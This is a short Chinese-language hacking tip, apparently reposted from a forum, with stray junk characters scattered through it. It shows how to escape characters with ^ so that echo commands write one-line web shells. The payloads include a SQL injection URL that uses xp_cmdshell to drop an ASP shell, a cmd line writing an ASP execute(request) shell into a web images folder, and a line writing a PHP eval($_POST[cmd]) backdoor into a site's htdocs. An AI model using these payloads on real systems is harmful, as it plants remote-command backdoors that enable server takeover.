用^转义字符来写ASP(一句话木马)文件的方法:
, g- Y7 @7 s3 k
" u. e0 }, ~. w0 b5 q, F! Q1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
% f! K, h9 q o! J' q
+ `7 @5 ~% a' J2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp6 K5 g. u" t S/ `3 h, m
6 o3 j9 R) W8 u1 ~' ^
. u* ^1 `8 d, b4 Z; A0 jPHP4 v1 y+ o. i0 ]0 q, @6 `
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |